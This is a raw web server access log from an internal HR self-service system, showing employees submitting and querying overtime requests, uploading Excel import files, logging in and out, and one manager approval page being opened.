192.168.11.104 - - [05/Sep/2025:08:50:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:50:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.104 - - [05/Sep/2025:08:50:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:50:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:50:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:50:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:50:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:50:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29
192.168.11.104 - - [05/Sep/2025:08:50:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:50:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.104 - - [05/Sep/2025:08:50:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 -
192.168.11.104 - - [05/Sep/2025:08:50:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:50:15 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:50:15 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.104 - - [05/Sep/2025:08:50:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:50:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.104 - - [05/Sep/2025:08:50:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:50:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.136 - - [05/Sep/2025:08:50:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:50:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.64 - - [05/Sep/2025:08:50:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.64 - - [05/Sep/2025:08:50:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [05/Sep/2025:08:50:37 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131079%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131079&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:50:37 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131079%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131079&target=iframe HTTP/1.1" 200 3251
192.168.11.136 - - [05/Sep/2025:08:50:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:50:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.64 - - [05/Sep/2025:08:50:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.64 - - [05/Sep/2025:08:50:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:50:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.64 - - [05/Sep/2025:08:50:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:50:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:50:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096
192.168.11.64 - - [05/Sep/2025:08:50:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.64 - - [05/Sep/2025:08:50:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [05/Sep/2025:08:50:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20252
192.168.11.136 - - [05/Sep/2025:08:50:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20252 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.64 - - [05/Sep/2025:08:51:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:51:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [05/Sep/2025:08:51:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [05/Sep/2025:08:51:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:51:29 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5960544451263514 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:51:29 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5960544451263514 HTTP/1.1" 200 5264
192.168.11.104 - - [05/Sep/2025:08:51:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:51:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457
192.168.11.64 - - [05/Sep/2025:08:51:34 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5960544451263514 HTTP/1.1" 302 -
192.168.11.64 - - [05/Sep/2025:08:51:34 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5960544451263514 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5960544451263514" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.104 - - [05/Sep/2025:08:51:36 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.104 - - [05/Sep/2025:08:51:36 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:51:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165731 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:51:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165731
192.168.11.64 - - [05/Sep/2025:08:51:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4059
192.168.11.64 - - [05/Sep/2025:08:51:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4059 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5960544451263514" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:51:47 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8694173143250465 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:51:47 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8694173143250465 HTTP/1.1" 200 5264
192.168.11.64 - - [05/Sep/2025:08:51:52 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8694173143250465 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8694173143250465" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:51:52 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8694173143250465 HTTP/1.1" 302 -
192.168.11.64 - - [05/Sep/2025:08:51:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4059
192.168.11.64 - - [05/Sep/2025:08:51:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4059 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8694173143250465" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:52:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:52:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [05/Sep/2025:08:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.20843774576155738 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.20843774576155738 HTTP/1.1" 200 5264
192.168.11.64 - - [05/Sep/2025:08:52:21 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.20843774576155738 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.20843774576155738" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:52:21 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.20843774576155738 HTTP/1.1" 302 -
192.168.11.64 - - [05/Sep/2025:08:52:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4059 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.20843774576155738" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:52:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4059
192.168.11.64 - - [05/Sep/2025:08:52:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:52:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493
192.168.11.64 - - [05/Sep/2025:08:52:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [05/Sep/2025:08:52:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:52:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:52:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.64 - - [05/Sep/2025:08:53:04 +0800] "GET /eHR/docs/emp_overtime_apply_import_v1.xls HTTP/1.1" 200 14848 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:08:53:04 +0800] "GET /eHR/docs/emp_overtime_apply_import_v1.xls HTTP/1.1" 200 14848
192.168.11.64 - - [05/Sep/2025:09:00:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:09:00:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.64 - - [05/Sep/2025:09:00:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:09:00:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.64 - - [05/Sep/2025:09:00:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.64 - - [05/Sep/2025:09:00:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:09:00:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096
192.168.11.64 - - [05/Sep/2025:09:00:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:09:00:36 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1132673C6F857F9E1B6DD18AD0DB631F39BA364BD79DC55810143B982481ADB8EDD45C96AAFE76C9BA772159C89ED391CA1EBA6471E3F66E9 HTTP/1.1" 200 -
100.64.0.1 - - [05/Sep/2025:09:00:36 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1132673C6F857F9E1B6DD18AD0DB631F39BA364BD79DC55810143B982481ADB8EDD45C96AAFE76C9BA772159C89ED391CA1EBA6471E3F66E9 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:09:00:39 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1132673C6F857F9E1B6DD18AD0DB631F39BA364BD79DC55810143B982481ADB8EDD45C96AAFE76C9BA772159C89ED391CA1EBA6471E3F66E9 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:09:00:39 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1132673C6F857F9E1B6DD18AD0DB631F39BA364BD79DC55810143B982481ADB8EDD45C96AAFE76C9BA772159C89ED391CA1EBA6471E3F66E9 HTTP/1.1" 200 4166
100.64.0.1 - - [05/Sep/2025:09:00:39 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
